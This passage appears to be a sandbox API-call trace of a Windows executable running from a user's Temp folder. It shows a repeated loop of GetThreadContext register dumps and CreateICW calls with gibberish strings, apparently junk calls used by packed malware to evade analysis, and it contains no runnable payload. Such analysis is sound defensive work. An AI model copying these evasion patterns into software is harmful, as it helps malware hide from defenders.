	[0066.280] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.280] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.281] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.281] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.281] GetConsoleCP () returned 0x0
	[0066.281] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.281] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.282] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.282] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.282] GetConsoleCP () returned 0x0
	[0066.282] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 